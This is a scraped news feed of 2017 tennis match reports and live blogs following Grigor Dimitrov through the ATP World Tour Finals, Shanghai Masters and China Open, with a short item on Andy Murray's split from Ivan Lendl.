The pair shared the first two sets but Goffin was shouted at during his service motion as the 17,000-strong crowd were whipped up into a frenzy by the excitement and he was broken in the same game.

It happened again as Goffin served to stay in the match and while he produced a supremely gutsy hold, saving three match points, Dimitrov served it out one game later to seal an emotional victory that threw him to the ground face first.

Dimitrov had already wrapped up a highest-ever finish in the world rankings, the “best of the rest” spot at No 3 behind Federer and Nadal.

The Bulgarian had smiled genuinely when asked the night before the final if he had ever believed that goal was achievable.

Grigor Dimitrov breaks down and close to tears after ATP Finals win over David Goffin

Sun, November 19, 2017

Grigor Dimitrov got very emotional after beating David Goffin to win the ATP World Tour Finals

Grigor Dimitrov ATP World Tour Finals

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Grigor Dimitrov breaks down after beating David Goffin at the ATP Finals

It’s great. What can I say?

Grigor Dimitrov

“It’s great. What can I say?” he said.

“It’s wonderful, a wonderful reward.”

But perhaps not as wonderful as the £1.9million payday winning the ATP World Tour Finals represents.

Both players admitted to suffering from nerves during previous matches, a testament perhaps to the fact that this is the first ever final at this tournament featuring two players without a Grand Slam final appearance.

It told too, with the first three games all going against serve. But two of them went the way of Goffin, who found his range quickly, especially off second serve, putting pressure on the Bulgarian who had shown a tendency to double-fault at big moments all week.

However, Goffin got himself in trouble with a wayward second serve five games later, serve-and-volleying his way out of 0-30 only to double-fault and bring up a break point he could not save as he had nine times against Federer.

The parity seemed to inspire Dimitrov to lift his level and the crowd too, who lifted the roof when he spun a forehand across Goffin to make it 5-4.

And whether it was the crowd or the occasion, the pressure got to Goffin. Serving to stay in the set at 5-6, he had already saved four set points before double-faulting for a third time to present a critical fifth.

Somehow, irrespective of who won it, the presence of a set on the board seemed to settle both players. The start of the second set was the polar opposite of the beginning of the first, as both found quick holds and cheap points.

But perhaps inevitably, it was the double-faults that undid Dimitrov. Two in a row took him to 15-30 and two points later, a whipping forehand gave him a break.

If there were nerves early in the match, there were none when Goffin came to serve for the second set, holding to love with a quietly determined fist-pump.

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But the turning point in the deciding set, where Goffin has won 22 times out of 27, came through no fault of either player. A shout from the crowd just as Goffin was about to serve at 2-3 clearly threw him off his rhythm and five minutes later, he had dropped his serve at perhaps the most important moment of his career.

He wasn’t finished though. Despite another untimely shout in the motion of his first serve at 2-5 and slipping to 0-40, the scrappy Belgian saved three straight match points, held his serve and threw his arms in the air, goading the crowd into further noise.

The response was electrifying and while Dimitrov served out, no-one left east London doubting the nerve of Goffin, who will have to do it all again next week in front of a French crowd in the Davis Cup final.

Sadly, few occasions could better have prepared him for it.

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]]> https://briefnews.eu/grigor-dimitrov-seals-controversial-david-goffin-win-to-take-atp-world-tour-finals-title/feed/ 0 Grigor Dimitrov vs David Goffin LIVE: Latest from the final of the ATP World Tour Finals https://briefnews.eu/grigor-dimitrov-vs-david-goffin-live-latest-from-the-final-of-the-atp-world-tour-finals/ https://briefnews.eu/grigor-dimitrov-vs-david-goffin-live-latest-from-the-final-of-the-atp-world-tour-finals/#respond Sun, 19 Nov 2017 19:39:04 +0000 http://briefnews.eu/grigor-dimitrov-vs-david-goffin-live-latest-from-the-final-of-the-atp-world-tour-finals/

Dimitrov is unbeaten so far this week, yesterday coming back from a set down to Jack Sock to win 4-6, 6-0, 6-3, completing his fourth win of the week and ensuring he will finish the season ranked No 3 in the world.

It will be the first time the Bulgarian will even finish inside the top 10 but he would dearly love to add an ATP World Tour Finals title to his 2017 trophy cabinet.

Goffin is also going to end the year inside the top 10 for the first time, although he was just one place away from doing so 12 months ago.

The Belgian already has two titles this year but has not beaten this level of opposition at the final hurdle – however, having triumped over Roger Federer and Rafael Nadal already this week, confidence wil not be in short supply.

Dimitrov vs Goffin LIVE

(* denotes next to serve)

Dimitrov 7-5, 3-2 Goffin*

Dimitrov finds a fifth ace of the match to make it 40-15 and Goffin just about gets a racket on it to stop game point being the sixth.

*Dimitrov 7-5, 2-2 Goffin

A love hold for Goffin now. The beginning of this set could hardly be more different from the start of the first.

Dimitrov 7-5, 2-1 Goffin*

Goffin’s return game was nowhere on Wednesday but he’s definitely improved today. He forces Dimitrov to deuce but finds himself blasted out of the game two points later.

*Dimitrov 7-5, 1-1 Goffin

Speedy hold follows speedy hold, which will probably make Goffin feel a bit better about life. Not that he’ll show it. Even when he smiles, the Belgian seems a bit sad about it.

Dimitrov 7-5, 1-0 Goffin*

A speedy hold from the Bulgarian who will surely look to put the hammer down now.

Dimitrov is unbeaten so far this week, yesterday coming back from a set down to Jack Sock to win 4-6, 6-0, 6-3, completing his fourth win of the week and ensuring he will finish the season ranked No 3 in the world.

It will be the first time the Bulgarian will even finish inside the top 10 but he would dearly love to add an ATP World Tour Finals title to his 2017 trophy cabinet.

Goffin is also going to end the year inside the top 10 for the first time, although he was just one place away from doing so 12 months ago.

The Belgian already has two titles this year but has not beaten this level of opposition at the final hurdle – however, having triumped over Roger Federer and Rafael Nadal already this week, confidence wil not be in short supply.

Dimitrov vs Goffin LIVE

(* denotes next to serve)

Dimitrov 7-5, 3-2 Goffin*

Dimitrov finds a fifth ace of the match to make it 40-15 and Goffin just about gets a racket on it to stop game point being the sixth.

*Dimitrov 7-5, 2-2 Goffin

A love hold for Goffin now. The beginning of this set could hardly be more different from the start of the first.

Dimitrov 7-5, 2-1 Goffin*

Goffin’s return game was nowhere on Wednesday but he’s definitely improved today. He forces Dimitrov to deuce but finds himself blasted out of the game two points later.

*Dimitrov 7-5, 1-1 Goffin

Speedy hold follows speedy hold, which will probably make Goffin feel a bit better about life. Not that he’ll show it. Even when he smiles, the Belgian seems a bit sad about it.

Dimitrov 7-5, 1-0 Goffin*

A speedy hold from the Bulgarian who will surely look to put the hammer down now.

GRIGOR DIMITROV WINS THE FIRST SET 7-5!

Dimitrov heaps the pressure on at 5-6 and when Goffin fires long, there are two set points for the Bulgarian.

A superb serve down the middle saves the first one and he goes behind Dimitrov with the forehand to deal with the second.

But his slice volley spins agonisingly wide at deuce…only for another unreturnable serve to get him out of trouble. Some epic defence at the net almost gives him game point but instead it’s set point No 4 which Dimitrov again can’t take, flying a forehand too far and his backhand return of serve follows. But it’s ANOTHER double-fault followed by another error and one point later, there are Bulgarian flags waving everywhere!

Dimitrov 6-5 Goffin*

Double-faulting is not a pretty or clever habit, but Dimitrov has got it. Two in a row make it 15-30, only for a powerful backhand and an ace to tip the balance his way again.

Dimitrov holds and Goffin will once again serve to stay in the set.

*Dimitrov 5-5 Goffin

Superb stuff from Goffin, whose serve buys him half the game and backhand buys him the rest. Both players seem to have settled now and it’s turning into a very entertaining final.

 

Dimitrov 5-4 Goffin*

Not much question that the Bulgarians are either more numerous or at the very least louder in here tonight. Dimitrov has to stretch impossibly for a heavy silcing ball but does so brilliantly, forcing Goffin back and completing the point with a touch volley. A superb forehand pass and a long Goffin forehand and 40 minutes in, Dimitrov has the lead for the first time.

*Dimitrov 4-4 Goffin

Initially, clutch tennis from Goffin, who serve-and-volleys at 0-30 and 15-30, slicing the first volley and driving the second to get him out of trouble.

But after that good work, he double-faults to bring up break point and flies a forehand long to bring us all level again!

Dimitrov 3-4 Goffin*

A speedy hold for Dimitrov who will be glad of that. He admitted to being short of his best yesterday and has yet to kick out of that funk.

*Dimitrov 2-4 Goffin

Goffin is again under a bit of pressure on serve, self-inflicted for the most part after a poor double-fault, but his ground-strokes are on fleek (as I believe they say).

He holds and is moving towards crucial first set for his confidenc as much as anything else.

Dimitrov 2-3 Goffin*

Dimitrov gets his first service hold, albeit not without incident. A big serve helps him out at 30-30 before Goffin jumps all over a second serve to force deuce. However, the Bulgarian finds a way out of the game.

*Dimitrov 1-3 Goffin

A hold! Goffin gets his first serve going and consolidates his break with an ace.

I’ve just spotted Patrick Stewart court-side. I’m rather worried he might on his own though. David Beckham is around somewhere too. Can’t he go keep him company?

Dimitrov 1-2 Goffin*

Anyone fancy holding serve? A double-fault at 0-15 gets him in trouble and a fine Goffin forehand brings up three break points. The first two go begging but the third does not, Dimitrov coming in on the backhand wing before Goffin finds a superb passing shot across his body.

*Dimitrov 1-1 Goffin

A nervy start from both players, Goffin netting a forehand to bring up break point, but Dimitrov goes long once again on the forehand wing to make it deuce.

Another error – a backhand into the net this time – brings up break point No 2 and this time Goffin can’t save it.

Dimitrov 0-1 Goffin*

Goffin is handed an early break point opportunity by a careless forehand from Dimitrov, but a net cord aids him in the next point and the Belgian can’t find a way through.

A very similar mistake, sending a high-spin forehand long, gives the receiver his second opportunity of the first game. Goffin runs round a second serve and hits a sweet forehand winner to seal it!

6.15pm: One minute has been called. Dimitrov won the toss and will serve first… 

6pm: The show is about to start – the stadium goes pitch black. Goffin and Dimitrov will be out on court any minute, meaning we are 10 minutes away from starting.

5.50pm: The stadium is slowly filling up with the players due on court in about five minutes’ time.

Goffin insisted on Wednesday night he was “100 per cent” fit but then in the opening stages of the Federer match, he really did look world-weary. Still won though, so perhaps expect him to play possum for a few games.

Dimitrov meanwhile has had a speedy turn around since beating Jack Sock last night – he might have a similarly slow start.

5.30pm: Clearly, Grigor and David didn’t read the script. This was supposed to be Roger Federer vs Rafael Nadal again, wasn’t it? 

Well one pulled out and one was out-played yesterday by Goffin, so both of these men have well and truly earned their place in the final with some stunning performances.

Goffin’s one slip-up this week came, oddly, against Dimitrov, when he was smashed 6-0, 6-2 with the win over Nadal certainly having an effect on him. Will the Federer win yesterday leave him similarly leggy? Only time will tell.

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]]> https://briefnews.eu/grigor-dimitrov-vs-david-goffin-live-latest-from-the-final-of-the-atp-world-tour-finals/feed/ 0 Grigor Dimitrov vs Jack Sock LIVE: Latest ATP World Tour Finals updates https://briefnews.eu/grigor-dimitrov-vs-jack-sock-live-latest-atp-world-tour-finals-updates/ https://briefnews.eu/grigor-dimitrov-vs-jack-sock-live-latest-atp-world-tour-finals-updates/#respond Sat, 18 Nov 2017 20:46:25 +0000 http://briefnews.eu/grigor-dimitrov-vs-jack-sock-live-latest-atp-world-tour-finals-updates/

Both qualified for the year-end tournament for the first time this year, Dimitrov after nearly a decade as a professional.

But the Bulgarian has looekd completely at home, losing just one set in his three group matches and thrashing both finalist David Goffin and Rafael Nadal’s replacement Pablo Carreno Busta.

Sock meanwhile lost his first match of the tournament, a straight-sets defeat to Roger Federer, before rallying wins over Marin Cilic and Alexander Zverev to seal his place in the last four.

These two have plenty of history, having faced off earlier this year at Indian Wells – Sock saved four match points before triumphing on home soil.

Dimitrov vs Sock LIVE

(* denotes next to serve)

*Dimitrov 3-3 Sock

Far from perfect from Sock, who very nearly double-faults at 30-15 and flays a framed forehand about 40 feet beyond the baseline – but he still holds to restore parity.

Dimitrov 3-2 Sock*

Dimitrov leaks a couple of forehands and an excellent forehand return gives Sock a break-back point – which he promptly converts by skipping round a couple to unleash that forehand once again. Not a clean winner but the power is too much for Dimitrov, who can only find the net. 

*Dimitrov 3-1 Sock

Sock is a bit all over the shop here, pushing a short ball long when Dimitrov fakes to cover the drop shot and puts him off. He does at least save the break point and finds his two aces of the match to get him out of the game. Sock on the board.

Dimitrov 3-0 Sock*

The players sit down for the first time and Sock is yet to get on the board. Dimitrov remember has destroyed his last two opponents for the loss of just four games. No-one wants to see another one of those matches though. Not in semi-final.

*Dimitrov 2-0 Sock

Sock will have to play at a high level to win this match, and two more unforced errors in his opening service game put him under pressure at 15-30. He double-faults by a mile before hitting his first winner of the match to save the first break point.

But the Bulgarian canters to the net at 30-40 to put away a floaty, sliced bachand – to the delight of a crowd thick with fellow Bulgarians it would appear!

Dimitrov 1-0 Sock*

I’m likely to talk about Sock’s forehand a lot today – but it is exciting. Short, fluid backlift and untold power. There is a sharp intake of breath in the stadium almost every time he hits it. A return at 40-15 is particularly emphatic

Dimitrov is pretty handy from the baseline too though and reminds us as much with a couple of booming forehands. Sock takes him to deuce but he holds nevertheless. 

8pm: Ball kids? Check. Line judges? Check. Chair umpire? Check. Offensively loud music? Oh but of course.

One thing we are missing is a couple of chaps with rackets. They are incoming though: Jack Sock all quiff and teeth while Grigor Dimitrov is dark, stormy and has eyes you could get lost in. That thousand-yard stare is something else.

Where’s your money? I’m going Dimitrov but those around me are arguing it will be closer than I think. Opinion is divided you might say.

7.40pm: David Goffin awaits the winner of this match, meaning we will have an all-debutant final no matter what.

Dimitrov has been imperious all week but can the powerful Sock break his rhythm? He leads the head-to-head 3-1 and is not the Bulgarian’s ideal opponent. That said, Dimitrov is playing some of his best tennis at the moment and looked unstoppable in the group stages.

They’ll be on court in just about 20 minutes.

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]]> https://briefnews.eu/grigor-dimitrov-vs-jack-sock-live-latest-atp-world-tour-finals-updates/feed/ 0 Andy Murray split with Ivan Lendl ‘may be temporary’ – Grigor Dimitrov https://briefnews.eu/andy-murray-split-with-ivan-lendl-may-be-temporary-grigor-dimitrov/ https://briefnews.eu/andy-murray-split-with-ivan-lendl-may-be-temporary-grigor-dimitrov/#respond Sat, 18 Nov 2017 00:52:47 +0000 http://briefnews.eu/andy-murray-split-with-ivan-lendl-may-be-temporary-grigor-dimitrov/

Murray announced earlier this evening that he would be parting company with Lendl ahead of the 2018 season.

But Dimitrov, who works with Murray’s former coach Dani Vallverdu, believes they could be reunited at any point.

“It’s not their first time splitting up anyways,” Dimitrov said.

“Maybe it’s just a temporary thing.

“I don’t know what’s going on in his team.”

Murray has now twice split with Lendl but will continue to work with Jamie Delgado as he moves towards recovery from injury.

The Brit ended his season after being knocked out of Wimbledon while dealing with a serious hip problem.

But he appears to be close to a comeback after playing an exhibition against Roger Federer in Glasgow earlier this month.

And Dimitrov added that he would happily see Murray back on court – with or without Lendl.

“Obviously I can wish him only the best,” Dimitrov said.

“I hope he has a speedy recovery.

“I miss playing against him.

“I miss practicing against him.

“Hopefully has a speedy recovery, probably see him next year at some point.”

Murray said in a statement on his website: “I’m thankful to Ivan for all his help and guidance over the years, we’ve had great success and learned a lot as a team.

“My focus now is on getting ready for Australia with the team I have in place and getting back to competing.”

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]]> https://briefnews.eu/andy-murray-split-with-ivan-lendl-may-be-temporary-grigor-dimitrov/feed/ 0 Grigor Dimitrov vs Dominic Thiem LIVE: Latest ATP World Tour Finals updates https://briefnews.eu/grigor-dimitrov-vs-dominic-thiem-live-latest-atp-world-tour-finals-updates/ https://briefnews.eu/grigor-dimitrov-vs-dominic-thiem-live-latest-atp-world-tour-finals-updates/#respond Mon, 13 Nov 2017 16:27:09 +0000 http://briefnews.eu/grigor-dimitrov-vs-dominic-thiem-live-latest-atp-world-tour-finals-updates/

Grigor Dimitrov and Dominic ThiemGETTY

Grigor Dimitrov vs Dominic Thiem LIVE from the O2 Arena

Dimtirov has never played at the ATP World Tour Finals, having reached his career-high ranking of No 6 earlier this month.

The Bulgarian is in the form of his life having captured three titles in 2017 and also made a run to the semi-final of the Australian Open, where he was beaten by Rafael Nadal, whom he will face later this week.

Thiem meanwhile is hardly a veteran of the tournament – the Austrian made his debut last year in London and lost twice including a remarkable three-setter against Novak Djokovic 7-6, 0-6, 2-6.

With Nadal expected to top the group, these two and David Goffin are likely to be scrapping it out for the second semi-final spot. So who can seize the advantage?

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Grigor Dimitrov vs Dominic Thiem LIVE: Latest ATP World Tour Finals updates

(* denotes next to serve)

*Dimitrov 6-3, 5-7, 4-3 Thiem

What did I say about the willingness to come forward? That is special, special tennis. Dimitrov has to pull a backhand volley off his toes right up against the net. He has to stagger to stop himself running into it. I can’t actually believe he’s managed that and on break point too.

That could be the decisive moment.

Dimitrov 6-3, 5-7, 3-3 Thiem*

This is becoming a baseline slugfest which Dimitrov is marginally winning – and his eagerness to come forward is really helping, as he levels the score with another well-placed slice volley.

*Dimitrov 6-3, 5-7, 2-3 Thiem

Thiem massages his unforced error count to find himself two break points behind, with first serves all of a sudden at a premium again. He saves the first in a hard-working rally where he covers most of the court before Dimitrov batters a second serve into the net.

An ace and an unreturned serve later and it’s game Thiem. Gutsy, gutsy hold.

Dimitrov 6-3, 5-7,2-2 Thiem*

Thiem is much closer to the baseline on second serve now and it allows him to get more involved in the point. It proves as much at 40-0 when he can force Dimitrov into an unforced error.

He then plays three drop volleys before Dimitrov resorts to the lob which just about gets the job done.

*Dimitrov 6-3, 5-7, 1-2 Thiem

It’s almost another love hold for Thiem but a massive serve at 40-15 does the trick and he holds again. I hate to go on about it, but this is so very different from the first set.

The Austrian has his right shoe off and there is a nasty bloody blister on his big toe I think. Not called for the doctor or anything though.

Dimitrov 6-3, 5-7, 1-1 Thiem*

This is turning into an absolute doozy of a tennis match, you know. Thiem has started to play well and Dimitrov remains one of the best players to watch when on song. He comes to the net and plays a simply ridiculous touch volley to win the game and level the set. We said these two might be tough to separate!

*Dimitrov 6-3, 5-7, 0-1 Thiem

It really is night nad day between this Thiem and the one who walked out two hours ago. He curves a stunning forehand plumb onto the line to emphasise the point and holds to love again to start the second set.

Dominic ThiemGETTY

Dominic Thiem rallied to win the second set

DOMINIC THIEM WINS THE SECONT SET 7-5

A wayward backhand from Dimitrov gives Thiem a sniff at 0-30 for the third time in the set and this time, it’s Dimitrov who frames a forehand long to bring up three set points.

The Bulgarian puts an inside-out forehand wide down the line and that is Thiem’s set! What a fightback.

*Dimitrov 6-3, 5-6 Thiem

Dimitrov is handed the first break point of the set after a double-fault and a framed backhand but Thiem responds in style, with a forehand winner and a fierce ace.

One more winner and Thiem holds with a clenched fist and a determined look, to the delight of the crowd who simply don’t want this to end.

Dimitrov 6-3, 5-5 Thiem*

That’s really special from Dimitrov to start the game as Thiem blasts a backhand at him at the net, only to see it volleyed back past him into the opposite corner. Dimitrov holds to love but an odd end. Thiem FINALLY comes forward on a second serve but Dimitrov handles the solid return and Thiem misses. Despite the result, you’d that has to be how Thiem should approach this.

*Dimitrov 6-3, 4-5 Thiem

More good serving from Thiem but there is also an improvement on the ground as he starts to be pro-active, rather than reactive, in rallies. A love hold which should continue to nurture some confidence in him. 

Dimitrov 6-3, 4-4 Thiem*

Lovely, clinical, well-executed tennis from Dimitrov, who comes to the net three times in a row and opens up a 40-0 lead in the set. He is almost confused when he misses a backhand to win the game but next point he’s at the net again and Thiem flies the pass long.

*Dimitrov 6-3, 3-4 Thiem

It’s another love hold for Thiem, whose first-serve percentage is up to 53 now, but his deep position on the Dimitrov second serve is continuing to hurt him. He doesn’t HAVE to break in this set of course but eventually, he’ll need to make an impact.

Dimitrov 6-3, 3-3 Thiem*

Deja vu all over again for Thiem, who forces 0-30 and finds Dimitrov upping his level. I could watch that backhand all day you know. That said, I’d rather not watch his second serve too much. That’s double fault No 4 to bring up deuce.

However, that is a fabulous inside-out forehand that reminds everyone why we used to call Dimitrov mini-Federer and he follows it with another kick second serve that Thiem can’t handle.

*Dimitrov 6-3, 2-3 Thiem

After the failure to break or even force a chance, that’s a show of character from Thiem, to hold and do so comfortably. He must try to keep the pressure on.

Dimitrov 6-3, 2-2 Thiem*

Thiem finally gets a handhold in a Dimitrov service game only for the Bulgarian to produce a fizzing, fourth ace of the match followed by a 13th winner. Another big serve gives him game point but Thiem hangs tough in a long rally to force deuce. But the next rally sees him net and Dimitrov holds with another spinny second serve.

Very strong from Dimitrov, under pressure on serve for the first time.

*Dimitrov 6-3, 1-2 Thiem

Thiem’s best service game of the match sees him hold to 15, only a classic Dimitrov backhand winner smudging the game. An ace seals it and the Austrian fans will hope this is the start of something.

Dimitrov 6-3, 1-1 Thiem*

Remember how good Dimtrov’s serving was in the first set? Well it’s a little more leaky in that opening game of the second. He misses four out of six but still manages to hold.

*Dimitrov 6-3, 0-1 Thiem

Marginally better from Thiem, who makes three of five first serves while he holds to 15, mostly thanks to three unforced errors from Dimitrov. Thiem must keep himself sharp and ready to pounce if Dimitrov’s level drops.

Grigor DimitrovGETTY

Grigor Dimitrov was imperious from the baseline

GRIGOR DIMITROV WINS THE FIRST SET 6-3

Superlative serving from Dimitrov, who holds to love to seal the first set in just under 40 minutes. The killer blow actually comes off a second serve that spits violently off the court and forces Thiem to fly the return long.

That first set is no more than the Bulgarian deserves for his 16 of 18 points won on first serve while Thiem missed seven in a row to start the set.

*Dimtrov 5-3 Thiem

Thiem is trying to trade baseline bruisers with Dimitrov. Intrigued to see how that works out given how sweetly Dimtrov is hitting the ball. In this game, it’s basically a wash but Thiem finds a big first serve at the exact right moment to take the game and force Dimitrov to serve for it.

Dimitrov 5-2 Thiem*

Thiem forlornly challenges a big serve at 30-30 but as he has already many times in this set, Dimitrov has found the line. Superb serving and he consolidates seconds later.

“Grigor, Grigor,” the crowd chant. Brilliant first set.

*Dimitrov 4-2 Thiem

Thiem curves a forehand long to find himself 15-30 down and with Dimitrov standing well inside the baseline, he shoves his second serve long too. The Austrian saves the first break point with an unreturnable serve down the middle but when Dimtrov blocks a slice-backhand into the court, he whips anothr forehand long and that is the first break.

Dimitrov 3-2 Thiem*

The first serve of Dimitrov continues to be impressive, even if the second serve has missed its mark twice now. Thiem has resorted to sitting deeper behind the baseline but with so much spin on those serves there remains little he can do.

*Dimitrov 2-2 Thiem

Brilliant court coverage from Dimitrov, who really has worked on his physicality, to make it 0-15 but Thiem steels himself and produces a 131mph ace.

At 40-15, there’s another classic Dimitrov backhand return and on the next point he goes again, mid-rally, but it’s called out, with which Hawkeye agrees. Game Thiem, but once again, not comfortably.

Dimitrov 2-1 Thiem*

So we get to the first changeover as scheduled. Dimitrov has missed just two first serves – by contrast, Thiem has only made three for a 25 per cent success rate.

*Dimitrov 1-1 Thiem

If you’re looking for an attractive game of tennis, this might be the one for you. Dimitrov unleashes another brilliant backhand winner off the Thiem first serve before the Austrian shows him a tricky of his own, running round the ball to bend a forehand winner down the line. But Thiem has to go through a number of deuces and save a break point before he can hold.

Dimitrov 1-0 Thiem*

Dimitrov just feeling his way into this match and looks pretty frustrated when he’s told he has served a double-fault – only for Hawkeye to show that he hasn’t. With some irony, he then double-faults again with no Hawkeye to save him!

A brilliant single-handed backhand winner down the line seals an eventful hold for the Bulgarian.

2pm: Right! That doubles match, which saw , finished almost perfectly on time so Thiem and Dimitrov will be out on court any minute now for their clash.

They have only played each other three times and their meetings on hard courts have been split while their most recent clash came in the last 16 of the Madrid Masters, with Thiem triumphing in a third-set tie-break on the clay.

It all points to a relatively tight match between these two entertaining players.

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]]> https://briefnews.eu/grigor-dimitrov-vs-dominic-thiem-live-latest-atp-world-tour-finals-updates/feed/ 0 Rafael Nadal and Grigor Dimitrov in stunning rally… ends with the shot of Shanghai Masters https://briefnews.eu/rafael-nadal-and-grigor-dimitrov-in-stunning-rally-ends-with-the-shot-of-shanghai-masters/ https://briefnews.eu/rafael-nadal-and-grigor-dimitrov-in-stunning-rally-ends-with-the-shot-of-shanghai-masters/#respond Fri, 13 Oct 2017 10:24:46 +0000 http://briefnews.eu/rafael-nadal-and-grigor-dimitrov-in-stunning-rally-ends-with-the-shot-of-shanghai-masters/

The two tennis heavyweights went toe-to-toe in the quarter-finals of a classic in China this morning.

Nadal got a single break to take the first set 6-4 before Dimitrov levelled after a second-set tie-break.

The Spaniard held serve in the opening game of the deciding set before a tense second game was level at 15-15.

And it was then when the point of the tournament so far was played out.

Dimitrov served out wide but Nadal managed to claw a backhand into play to set up the prolonged exchange.

The Bulgarian reacted with a backhand slice into the Nadal forehand and the pair proceed to trade cross-court blows.

Nadal then takes a gamble with a monster forehand up the line that looks to have won him the point.

But Dimitrov had other ideas, making good ground to his forehand side before unleashing a stunning cross-court winner past the world No.1.

The point had the crowd on their feet while Dimitrov reacted with a huge roar.

Dimitrov took Nadal into a decider at the China Open last week only to go off the boil when it mattered most.

And the same happened in Shanghai as – despite Dimitrov’s stunning winner here – Nadal roared back to take a 6-4 6-7 6-3 win.

The 16-time Grand Slam champion meets Marin Cilic in the semis tomorrow.

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]]> https://briefnews.eu/rafael-nadal-and-grigor-dimitrov-in-stunning-rally-ends-with-the-shot-of-shanghai-masters/feed/ 0 Rafael Nadal vs Grigor Dimitrov: LIVE Shanghai Masters updates from quarter-final clash https://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-shanghai-masters-updates-from-quarter-final-clash/ https://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-shanghai-masters-updates-from-quarter-final-clash/#respond Fri, 13 Oct 2017 07:25:34 +0000 http://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-shanghai-masters-updates-from-quarter-final-clash/

The Spaniard overcame Fabio Fognini in the last 16 yesterday as he brushed the Italian aside 6-3 6-1.

Nadal goes into the match full of confidence with a 14-match winning streak behind him that includes a win over Dimitrov.

The Bulgarian came up against Nadal in the China Open semi-finals just six days ago and lost in straight sets.

Victory for Nadal today would take him to 870 career wins – tying Andre Agassi for sixth place on the Open Era career wins list.

Play is due to start at around 8am and you can follow live updates of the match below.

Rafael Nadal vs Grigor Dimitrov: LIVE Shanghai Masters updates

(*Denotes next server)

*Nadal 2-3 Dimitrov

Lightning quick reactions from Nadal as he makes Dimitrov stretch for a wide shot and then fires back into open space.

You feel Nadal is just starting to find his rhythm with some forehand shots but Dimitrov holds his serve.

Nadal 2-2 *Dimitrov

Nadal again loses the first point before serving up an ace to level at 15-15.

Nadal then shows his versatility winning a point from the back of the court with a long rally and then his reactions at the net prove too quick for his opponent to edge 40-15 in front.and then wraps up the game with a ferocious forehand.

*Nadal 1-2 Dimitrov

“Amazing – point of the week!” shouts the commenntator as Dimtrov sends Nadal long down the line as the ball clips the top of the net, only for the Spaniard to somehow reach it.

But Nadal’s shot lands just over the net and Dimitrov toys with his opponent as his return drop shot is out of reach for Nadal.

Nadal 1-1 *Dimitrov

Some early nerves for Nadal as he faults on his first serve and then puts a forehand long to fall 15-0 behind.

Dimitrov surely didn’t expect to find himelf on break point so early in the match but hits the net at the crucial moment.

Nadal overcomes his slight wobble when his opponent hits the net again and it’s all square.

But it’s plain sailing 

*Nadal 0-1 Dimitrov

Dimitrov races two a 30-0 lead before Nadal gets his first point on the board.

The Bulgarian then sees out the game with a powerful serve to settle his nerves.

07:45: Both players will be due on court any minute now following Marin Cilic’s 6-3 6-4 win over Albert Ramos.

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]]> https://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-shanghai-masters-updates-from-quarter-final-clash/feed/ 0 Rafael Nadal vs Grigor Dimitrov LIVE: China Open semi-final latest as Nadal takes lead https://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-china-open-semi-final-latest-as-nadal-takes-lead/ https://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-china-open-semi-final-latest-as-nadal-takes-lead/#respond Sat, 07 Oct 2017 10:10:36 +0000 http://briefnews.eu/rafael-nadal-vs-grigor-dimitrov-live-china-open-semi-final-latest-as-nadal-takes-lead/

If their previous meetings are anything to go by, this should be an open-and-shut case for the winner: Nadal has only lost once to Dimitrov in their nine meetings.

However, that solitary defeat came at the quarter-final stage of this very tournament last year and in straight sets. Shortly after another defeat in Shanghai followed for Nadal and he subsequently took a break from the game to deal with an injury.

But both players appear fully fit for this clash which promises to pit two of the world’s form men against each other.

Rafael Nadal vs Grigor Dimitrov LIVE – latest China Open updates

(* denotes next to serve)

Nadal 6-3, 4-4 Dimitrov*: Nadal is rediscovering his form slowly, proving as much with a curving forehand pass at 0-15. The backhand is returning too and his defence is relentless. Holds to 15.

*Nadal 6-3, 3-4 Dimitrov: The comeback continues! Dimitrov holds well but the match is still being played off Nadal’s racket really. His backhand is misfiring at the moment and you feel if Dimitrov is to get anything from this match, he needs to strike now, before the beast re-awakens.

Nadal 6-3, 3-3 Dimitrov*: So near and yet so far. Dimitrov gets himself another break point and goes for broke on the return, leaking inches long.

He gets a second chance to break – the unforced errors are creeping in for Nadal – but a poor switch to slice backhand from Dimitrov gets him in trouble.

Another Nadal unforced error gives him chance No 3…and he takes it this time! Back on serve and that has been a two-game slide of intensity from Nadal in my book.

*Nadal 6-3, 3-2 Dimitrov: A good hold from Dimitrov but almost every point is costing him bags of energy just to keep up with Nadal.

Nadal 6-3, 3-1 Dimitrov*: Dimitrov forces a break point for the first time in the second set with a brilliant winner after a long rally – usually Nadal’s department, that – but the world No 1 gets out of trouble with his relentlessly accurate serving.

*Nadal 6-3, 2-1 Dimitrov: A wild forehand at deuce brings up break point but then a beaut of a winner saves it. An ace, his first of the match, gives him a door out of the game only for Nadal’s baseline work to peg him back again.

Dimitrov holds eventually though. Trying to prove he isn’t out of this yet.

Nadal 6-3, 2-0 Dimitrov*: We get to 30-30 and Dimitrov charges to the net with Nadal on the run. However, the Spaniard almost scoops a double-handed backhand across the bows of Dimitrov to win the point in sensational fashion.

A reflex winner from Dimitrov forces deuce but he can’t turn it into a break point.

*Nadal 6-3, 1-0 Dimitrov: This match has not been put to bed but it’s definitely been given a warm cocoa and some fresh pyjamas.

Nadal breaks to love at the beginning of the first set and Dimitrov looks a little panicked.

RAFAEL NADAL WINS THE FIRST SET 6-3

The first of two set points is all Nadal needs and that’s a 35-minute set with only one break. Nadal is not known for fast matches but when you’re that dominant, you get things done quickly.

*Nadal 5-3 Dimitrov: So Nadal will at least have to serve for the first set. Can’t imagine that will be much of a problem though – he’s been exemplary on serve so far this set.

Nadal 5-2 Dimitrov*: Break points for Dimitrov! The first one goes when Nadal drops a sumptuous forehand into the vacant court before the Spaniard crushes a backhand cross-court to make it deuce. Brilliant hitting.

A breathtaking rally sees Nadal run down another drop shot and he converts with an amazing volley. Dimitrov isn’t playing badly but blooming heck that’s good from Nadal.

*Nadal 4-2 Dimitrov: That will give the Bulgarian some confidence with a love hold. Good work, Grigor.

Nadal 4-1 Dimitrov*: 16 minutes gone and Nadal has yet to lose a point on serve.

Dimitrov needs a hand-hold in this match or he will be skidding down the cliff.

*Nadal 3-1 Dimitrov: Woof. Dimitrov thinks he’s in the point at 15-15 but Nadal predicts cross-court backhand brilliantly and whacks a winner down the line.

It happens again two points later and a break point follows – Nadal converts immediately. Brutal stuff from the world No 1. What a mental challenge for Dimitrov this is going to be.

